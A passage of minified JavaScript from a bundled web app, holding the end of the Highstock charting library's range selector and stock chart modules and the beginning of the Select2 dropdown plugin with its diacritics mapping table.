I=h(k+x.x,k)+i.zoomText.getBBox().width+5;i.buttonOptions.forEach((function(t,e){u[e][L]({x:I}),I+=u[e].width+h(d.buttonSpacing,5)})),k=s.plotLeft-s.spacing[3],i.updateButtonStates(),r&&this.titleCollision(s)&&"top"===T&&"right"===x.align&&x.y+M.getBBox().height-12<(r.y||0)+r.height&&(D=-40),"left"===x.align?f=x.x-s.spacing[3]:"right"===x.align&&(f=x.x+D-s.spacing[1]),M.align({y:x.y,width:M.getBBox().width,align:x.align,x:f},!0,s.spacingBox),i.group.placed=O,i.buttonGroup.placed=O,!1!==b&&(D=r&&this.titleCollision(s)&&"top"===T&&"right"===y.align&&y.y-c.getBBox().height-12<(r.y||0)+r.height+s.spacing[0]?-40:0,"left"===y.align?f=k:"right"===y.align&&(f=-Math.max(s.axisOffset[1],-D)),c.align({y:y.y,width:c.getBBox().width,align:y.align,x:y.x+f-2},!0,s.spacingBox),n=c.alignAttr.translateX+c.alignOptions.x-D+c.getBBox().x+2,r=c.alignOptions.width,l=M.alignAttr.translateX+M.getBBox().x,f=M.getBBox().width+20,(y.align===x.align||l+f>n&&n+r>l&&E<P+c.getBBox().height)&&c.attr({translateX:c.alignAttr.translateX+(s.axisOffset[1]>=-D?0:-D),translateY:c.alignAttr.translateY+M.getBBox().height+10}),i.setInputValue("min",t),i.setInputValue("max",e),i.inputGroup.placed=O),i.group.align({verticalAlign:T},!0,s.spacingBox),t=i.group.getBBox().height+20,e=i.group.alignAttr.translateY,"bottom"===T&&(_=e-(t=t+(C=A&&"bottom"===A.verticalAlign&&A.enabled&&!A.floating?C.legendHeight+h(A.margin,10):0)-20)-(a?0:d.y)-(s.titleOffset?s.titleOffset[2]:0)-10),"top"===T?(a&&(_=0),s.titleOffset&&s.titleOffset[0]&&(_=s.titleOffset[0]),_+=s.margin[0]-s.spacing[0]||0):"middle"===T&&(P===E?_=0>P?e+void 0:e:(P||E)&&(_=0>P||0>E?_-Math.min(P,E):e-t+NaN)),i.group.translate(d.x,d.y+Math.floor(_)),!1!==b&&(i.minInput.style.marginTop=i.group.translateY+"px",i.maxInput.style.marginTop=i.group.translateY+"px"),i.rendered=!0}},getHeight:function(){var t=this.options,e=this.group,i=t.y,s=t.buttonPosition.y,o=t.inputPosition.y;return t.height?t.height:(t=e?e.getBBox(!0).height+13+i:0,e=Math.min(o,s),(0>o&&0>s||0<o&&0<s)&&(t+=Math.abs(e)),t)},titleCollision:function(t){return!(t.options.title.text||t.options.subtitle.text)},update:function(t){var e=this.chart;x(!0,e.options.rangeSelector,t),this.destroy(),this.init(e),e.rangeSelector.render()},destroy:function(){var t=this,e=t.minInput,s=t.maxInput;t.unMouseDown(),t.unResize(),o(t.buttons),e&&(e.onfocus=e.onblur=e.onchange=null),s&&(s.onfocus=s.onblur=s.onchange=null),l(t,(function(e,s){e&&"chart"!==s&&(e.destroy?e.destroy():e.nodeType&&n(this[s])),e!==i.prototype[s]&&(t[s]=null)}),this)}},u.prototype.minFromRange=function(){var t=this.range,e={month:"Month",year:"FullYear"}[t.type],i=this.max,s=this.chart.time,o=function(t,i){var o=new s.Date(t),n=s.get(e,o);return s.set(e,o,n+i),n===s.get(e,o)&&s.set("Date",o,0),o.getTime()-t};if(r(t))var n=i-t,a=t;else n=i+o(i,-t.count),this.chart&&(this.chart.fixedRange=i-n);var l=h(this.dataMin,Number.MIN_VALUE);return r(n)||(n=l),n<=l&&(n=l,void 0===a&&(a=o(n,t.count)),this.newMax=Math.min(n+a,this.dataMax)),r(i)||(n=void 0),n},t.RangeSelector||(p(e,"afterGetContainer",(function(){this.options.rangeSelector.enabled&&(this.rangeSelector=new i(this))})),p(e,"beforeRender",(function(){var t=this.axes,e=this.rangeSelector;e&&(r(e.deferredYTDClick)&&(e.clickButton(e.deferredYTDClick),delete e.deferredYTDClick),t.forEach((function(t){t.updateNames(),t.setScale()})),this.getAxisMargins(),e.render(),t=e.options.verticalAlign,e.options.floating||("bottom"===t?this.extraBottomMargin=!0:"middle"!==t&&(this.extraTopMargin=!0)))})),p(e,"update",(function(t){var e=t.options.rangeSelector;t=this.rangeSelector;var o=this.extraBottomMargin,n=this.extraTopMargin;e&&e.enabled&&!s(t)&&(this.options.rangeSelector.enabled=!0,this.rangeSelector=new i(this)),this.extraTopMargin=this.extraBottomMargin=!1,t&&(t.render(),e=e&&e.verticalAlign||t.options&&t.options.verticalAlign,t.options.floating||("bottom"===e?this.extraBottomMargin=!0:"middle"!==e&&(this.extraTopMargin=!0)),this.extraBottomMargin!==o||this.extraTopMargin!==n)&&(this.isDirtyBox=!0)})),p(e,"render",(function(){var t=this.rangeSelector;t&&!t.options.floating&&(t.render(),"bottom"===(t=t.options.verticalAlign)?this.extraBottomMargin=!0:"middle"!==t&&(this.extraTopMargin=!0))})),p(e,"getMargins",(function(){var t=this.rangeSelector;t&&(t=t.getHeight(),this.extraTopMargin&&(this.plotTop+=t),this.extraBottomMargin&&(this.marginBottom+=t))})),e.prototype.callbacks.push((function(t){function e(){i=t.xAxis[0].getExtremes(),r(i.min)&&s.render(i.min,i.max)}var i,s=t.rangeSelector;if(s){var o=p(t.xAxis[0],"afterSetExtremes",(function(t){s.render(t.min,t.max)})),n=p(t,"redraw",e);e()}p(t,"destroy",(function(){s&&(n(),o())}))})),t.RangeSelector=i)})),e(i,"parts/StockChart.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.arrayMax,s=e.arrayMin,o=e.defined,n=e.extend,a=e.isNumber,r=e.isString,l=e.pick,h=e.splat;e=t.addEvent;var c=t.Axis,d=t.Chart,p=t.format,u=t.merge,f=t.Point,g=t.Renderer,m=t.Series,v=t.SVGRenderer,x=t.VMLRenderer,y=m.prototype,b=y.init,w=y.processData,k=f.prototype.tooltipFormatter;t.StockChart=t.stockChart=function(e,i,s){var o,n=r(e)||e.nodeName,a=arguments[n?1:0],c=a,p=a.series,f=t.getOptions(),g=l(a.navigator&&a.navigator.enabled,f.navigator.enabled,!0),m=g?{startOnTick:!1,endOnTick:!1}:null;return a.xAxis=h(a.xAxis||{}).map((function(t,e){return u({minPadding:0,maxPadding:0,overscroll:0,ordinal:!0,title:{text:null},labels:{overflow:"justify"},showLastLabel:!0},f.xAxis,f.xAxis&&f.xAxis[e],t,{type:"datetime",categories:null},m)})),a.yAxis=h(a.yAxis||{}).map((function(t,e){return o=l(t.opposite,!0),u({labels:{y:-2},opposite:o,showLastLabel:!(!t.categories&&"category"!==t.type),title:{text:null}},f.yAxis,f.yAxis&&f.yAxis[e],t)})),a.series=null,(a=u({chart:{panning:!0,pinchType:"x"},navigator:{enabled:g},scrollbar:{enabled:l(f.scrollbar.enabled,!0)},rangeSelector:{enabled:l(f.rangeSelector.enabled,!0)},title:{text:null},tooltip:{split:l(f.tooltip.split,!0),crosshairs:!0},legend:{enabled:!1}},a,{isStock:!0})).series=c.series=p,n?new d(e,a,s):new d(a,i)},e(m,"setOptions",(function(e){function i(e){return t.seriesTypes[e]&&o instanceof t.seriesTypes[e]}var s,o=this;this.chart.options.isStock&&(i("column")||i("columnrange")?s={borderWidth:0,shadow:!1}:!i("line")||i("scatter")||i("sma")||(s={marker:{enabled:!1,radius:2}}),s&&(e.plotOptions[this.type]=u(e.plotOptions[this.type],s)))})),e(c,"autoLabelAlign",(function(t){var e=this.chart,i=this.options;e=e._labelPanes=e._labelPanes||{};var s=this.options.labels;this.chart.options.isStock&&"yAxis"===this.coll&&!e[i=i.top+","+i.height]&&s.enabled&&(15===s.x&&(s.x=0),void 0===s.align&&(s.align="right"),e[i]=this,t.align="right",t.preventDefault())})),e(c,"destroy",(function(){var t=this.chart,e=this.options&&this.options.top+","+this.options.height;e&&t._labelPanes&&t._labelPanes[e]===this&&delete t._labelPanes[e]})),e(c,"getPlotLinePath",(function(e){var i,s,n,h,c=this,d=this.isLinked&&!this.series?this.linkedParent.series:this.series,p=c.chart,u=p.renderer,f=c.left,g=c.top,m=[],v=[],x=e.translatedValue,y=e.value,b=e.force;if(p.options.isStock&&!1!==e.acrossPanes&&"xAxis"===c.coll||"yAxis"===c.coll){e.preventDefault(),v=function(t){var e="xAxis"===t?"yAxis":"xAxis";return t=c.options[e],a(t)?[p[e][t]]:r(t)?[p.get(t)]:d.map((function(t){return t[e]}))}(c.coll),(c.isXAxis?p.yAxis:p.xAxis).forEach((function(t){if(!o(t.options.id)||-1===t.options.id.indexOf("navigator")){var e=t.isXAxis?"yAxis":"xAxis";e=o(t.options[e])?p[e][t.options[e]]:p[e][0],c===e&&v.push(t)}}));var w=v.length?[]:[c.isXAxis?p.yAxis[0]:p.xAxis[0]];v.forEach((function(e){-1!==w.indexOf(e)||t.find(w,(function(t){return t.pos===e.pos&&t.len===e.len}))||w.push(e)}));var k=l(x,c.translate(y,null,null,e.old));a(k)&&(c.horiz?w.forEach((function(t){var e;s=t.pos,h=s+t.len,i=n=Math.round(k+c.transB),"pass"!==b&&(i<f||i>f+c.width)&&(b?i=n=Math.min(Math.max(f,i),f+c.width):e=!0),e||m.push("M",i,s,"L",n,h)})):w.forEach((function(t){var e;i=t.pos,n=i+t.len,s=h=Math.round(g+c.height-k),"pass"!==b&&(s<g||s>g+c.height)&&(b?s=h=Math.min(Math.max(g,s),c.top+c.height):e=!0),e||m.push("M",i,s,"L",n,h)}))),e.path=0<m.length?u.crispPolyLine(m,e.lineWidth||1):null}})),v.prototype.crispPolyLine=function(t,e){var i;for(i=0;i<t.length;i+=6)t[i+1]===t[i+4]&&(t[i+1]=t[i+4]=Math.round(t[i+1])-e%2/2),t[i+2]===t[i+5]&&(t[i+2]=t[i+5]=Math.round(t[i+2])+e%2/2);return t},g===x&&(x.prototype.crispPolyLine=v.prototype.crispPolyLine),e(c,"afterHideCrosshair",(function(){this.crossLabel&&(this.crossLabel=this.crossLabel.hide())})),e(c,"afterDrawCrosshair",(function(t){var e,i;if(o(this.crosshair.label)&&this.crosshair.label.enabled&&this.cross){var s=this.chart,a=this.options.crosshair.label,r=this.horiz,h=this.opposite,c=this.left,d=this.top,u=this.crossLabel,f=a.format,g="",m="inside"===this.options.tickPosition,v=!1!==this.crosshair.snap,x=0,y=t.e||this.cross&&this.cross.e,b=t.point,w=this.lin2log;if(this.isLog){t=w(this.min);var k=w(this.max)}else t=this.min,k=this.max;w=r?"center":h?"right"===this.labelAlign?"right":"left":"left"===this.labelAlign?"left":"center",u||(u=this.crossLabel=s.renderer.label(null,null,null,a.shape||"callout").addClass("highcharts-crosshair-label"+(this.series[0]&&" highcharts-color-"+this.series[0].colorIndex)).attr({align:a.align||w,padding:l(a.padding,8),r:l(a.borderRadius,3),zIndex:2}).add(this.labelGroup),s.styledMode||u.attr({fill:a.backgroundColor||this.series[0]&&this.series[0].color||"#666666",stroke:a.borderColor||"","stroke-width":a.borderWidth||0}).css(n({color:"#ffffff",fontWeight:"normal",fontSize:"11px",textAlign:"center"},a.style))),r?(w=v?b.plotX+c:y.chartX,d+=h?0:this.height):(w=h?this.width+c:0,d=v?b.plotY+d:y.chartY),f||a.formatter||(this.isDatetimeAxis&&(g="%b %d, %Y"),f="{value"+(g?":"+g:"")+"}"),g=v?b[this.isXAxis?"x":"y"]:this.toValue(r?y.chartX:y.chartY),u.attr({text:f?p(f,{value:g},s.time):a.formatter.call(this,g),x:w,y:d,visibility:g<t||g>k?"hidden":"visible"}),a=u.getBBox(),r?(m&&!h||!m&&h)&&(d=u.y-a.height):d=u.y-a.height/2,r?(e=c-a.x,i=c+this.width-a.x):(e="left"===this.labelAlign?c:0,i="right"===this.labelAlign?c+this.width:s.chartWidth),u.translateX<e&&(x=e-u.translateX),u.translateX+a.width>=i&&(x=-(u.translateX+a.width-i)),u.attr({x:w+x,y:d,anchorX:r?w:this.opposite?0:s.chartWidth,anchorY:r?this.opposite?s.chartHeight:0:d+a.height/2})}})),y.init=function(){b.apply(this,arguments),this.setCompare(this.options.compare)},y.setCompare=function(t){this.modifyValue="value"===t||"percent"===t?function(e,i){var s=this.compareValue;return void 0!==e&&void 0!==s?(e="value"===t?e-s:e/s*100-(100===this.options.compareBase?0:100),i&&(i.change=e),e):0}:null,this.userOptions.compare=t,this.chart.hasRendered&&(this.isDirty=!0)},y.processData=function(t){var e,i=-1,s=!0===this.options.compareStart?0:1;if(w.apply(this,arguments),this.xAxis&&this.processedYData){var o=this.processedXData,n=this.processedYData,r=n.length;for(this.pointArrayMap&&(i=this.pointArrayMap.indexOf(this.options.pointValKey||this.pointValKey||"y")),e=0;e<r-s;e++){var l=n[e]&&-1<i?n[e][i]:n[e];if(a(l)&&o[e+s]>=this.xAxis.min&&0!==l){this.compareValue=l;break}}}},e(m,"afterGetExtremes",(function(){if(this.modifyValue){var t=[this.modifyValue(this.dataMin),this.modifyValue(this.dataMax)];this.dataMin=s(t),this.dataMax=i(t)}})),c.prototype.setCompare=function(t,e){this.isXAxis||(this.series.forEach((function(e){e.setCompare(t)})),l(e,!0)&&this.chart.redraw())},f.prototype.tooltipFormatter=function(e){return e=e.replace("{point.change}",(0<this.change?"+":"")+t.numberFormat(this.change,l(this.series.tooltipOptions.changeDecimals,2))),k.apply(this,[e])},e(m,"render",(function(){var t=this.chart;if(!(t.is3d&&t.is3d()||t.polar)&&this.xAxis&&!this.xAxis.isRadial){var e=this.yAxis.len;if(this.xAxis.axisLine){var i=t.plotTop+t.plotHeight-this.yAxis.pos-this.yAxis.len,s=Math.floor(this.xAxis.axisLine.strokeWidth()/2);0<=i&&(e-=Math.max(s-i,0))}!this.clipBox&&this.animate?(this.clipBox=u(t.clipBox),this.clipBox.width=this.xAxis.len,this.clipBox.height=e):t[this.sharedClipKey]&&(t[this.sharedClipKey].animate({width:this.xAxis.len,height:e}),t[this.sharedClipKey+"m"]&&t[this.sharedClipKey+"m"].animate({width:this.xAxis.len}))}})),e(d,"update",(function(t){"scrollbar"in(t=t.options)&&this.navigator&&(u(!0,this.options.scrollbar,t.scrollbar),this.navigator.update({},!1),delete t.scrollbar)}))})),e(i,"masters/modules/stock.src.js",[],(function(){})),e(i,"masters/highstock.src.js",[i["masters/highcharts.src.js"]],(function(t){return t.product="Highstock",t})),i["masters/highstock.src.js"]._modules=i,i["masters/highstock.src.js"]},t.exports?(n.default=n,t.exports=o.document?n(o):n):void 0===(s=function(){return n(o)}.call(e,i,e,t))||(t.exports=s)},6355:function(){},8553:function(t,e,i){var s,o=i(3609);void 0===(s=o).fn.each2&&s.extend(s.fn,{each2:function(t){for(var e=s([0]),i=-1,o=this.length;++i<o&&(e.context=e[0]=this[i])&&!1!==t.call(e[0],i,e););return this}}),function(t,e){"use strict";if(window.Select2===e){var i,s,o,n,a,r,l,h,c={x:0,y:0},d={TAB:9,ENTER:13,ESC:27,SPACE:32,LEFT:37,UP:38,RIGHT:39,DOWN:40,SHIFT:16,CTRL:17,ALT:18,PAGE_UP:33,PAGE_DOWN:34,HOME:36,END:35,BACKSPACE:8,DELETE:46,isArrow:function(t){switch(t=t.which?t.which:t){case d.LEFT:case d.RIGHT:case d.UP:case d.DOWN:return!0}return!1},isControl:function(t){switch(t.which){case d.SHIFT:case d.CTRL:case d.ALT:return!0}return!!t.metaKey},isFunctionKey:function(t){return(t=t.which?t.which:t)>=112&&t<=123}},p={"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"};r=t(document),h=1,n=function(){return h++},i=D(Object,{bind:function(t){var e=this;return function(){t.apply(e,arguments)}},init:function(i){var s,o,a,r,h=".select2-results";this.opts=i=this.prepareOpts(i),this.id=i.id,i.element.data("select2")!==e&&null!==i.element.data("select2")&&i.element.data("select2").destroy(),this.container=this.createContainer(),this.liveRegion=t("<span>",{role:"status","aria-live":"polite"}).addClass("select2-hidden-accessible").appendTo(document.body),this.containerId="s2id_"+(i.element.attr("id")||"autogen"+n()),this.containerEventName=this.containerId.replace(/([.])/g,"_").replace(/([;&,\-\.\+\*\~':"\!\^#$%@\[\]\(\)=>\|])/g,"\\$1"),this.container.attr("id",this.containerId),this.container.attr("title",i.element.attr("title")),this.body=t("body"),k(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.attr("style",i.element.attr("style")),this.container.css(P(i.containerCss,this.opts.element)),this.container.addClass(P(i.containerCssClass,this.opts.element)),this.elementTabIndex=this.opts.element.attr("tabindex"),this.opts.element.data("select2",this).attr("tabindex","-1").before(this.container).on("click.select2",w),this.container.data("select2",this),this.dropdo